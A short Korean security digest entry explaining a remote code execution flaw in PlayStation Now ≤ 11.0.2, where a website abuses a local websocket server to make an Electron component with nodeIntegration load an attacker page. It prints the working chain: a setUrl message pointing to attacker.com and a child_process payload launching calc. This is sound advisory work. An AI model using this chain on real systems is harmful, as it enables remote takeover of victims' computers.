[하루한줄] Remote Code Execution in PlayStation Now

URL

RCE in PlayStation Now

Target

PlayStation Now ≤ 11.0.2

Explain

게임 스트리밍 서비스 PlayStation Now에서 원격 코드 실행 취약점이 발견되었습니다.


PS Now의 주요 구성요소로는 QAS와 AGL이 있습니다. QAS는 Qt5 프레임워크로 개발된 psnowlauncher.exe 실행파일이며 PS Now의 메인 애플리케이션입니다. AGL은 Electron 응용 프로그램이며 QAS에 의해 실행됩니다. 처음 로드할 페이지의 URL을 매개변수로 받아 실행이 가능합니다.


nodeIntegrationElectron BrowserWindows에서 실행되는 기능으로 javascript에서 Windows 프로세스를 생성할 수 있습니다. 기본값은 false지만 AGL에서는 true로 설정되어 있으며, AGL은 로드하는 URL 검증을 하지 않아 해커의 페이로드가 담긴 URL을 통해 javascript에서 임의 코드를 실행할 수 있습니다.


이 임의 코드 실행 취약점은 QAS에서 실행되는 로컬 웹 소켓 서버를 통해 원격으로 수행할 수 있습니다. 웹사이트가 다음 request를 로컬 웹 소켓 서버에 보내면 AGL에 로드된 URL을 QAS에서 실행합니다.

{
  "command": "setUrl",
  "params": {
    "url": "https://normal_url.com"
  },
  "source": "AGL",
  "target": "QAS"
}

그러나 source와 target을 바꿔 URL을 AGL에서 로드할 수 있도록 구성하면 원격에서 AGL이 로드할 URL을 조작할 수 있습니다.


피해자의 컴퓨터에서 PS Now와 QAS, 로컬 웹 소켓이 실행 중일 경우 아래와 같은 방법으로 원격 코드 실행이 가능합니다.

  1. 브라우저로 해커의 웹사이트에 접속합니다.
  2. 웹 사이트는 피해자 PC의 웹 소켓 서버 ws://localhost:1235 에 연결됩니다.
  3. 웹사이트는 웹 소켓 서버에 다음과 같은 메시지를 보냅니다.

    {
    	"command":"setUrl",
    	"params":{
    		"url":"https://attacker.com/rce_payload.html"
    	},
    	"source":"QAS",
    	"target":"AGL"
    }
  4. AGL은 https://attacker.com/rce_payload.html 를 로드합니다. 이때 rce_payload.html의 javascript 코드가 피해자의 PC에서 실행됩니다.

    // rce_payload.html
    <html>
        <head>
            <title>PS Now RCE</title>
        </head>
        <body>
            <script>
                require('child_process')
                .exec('calc')
            </script>
        </body>
    </html>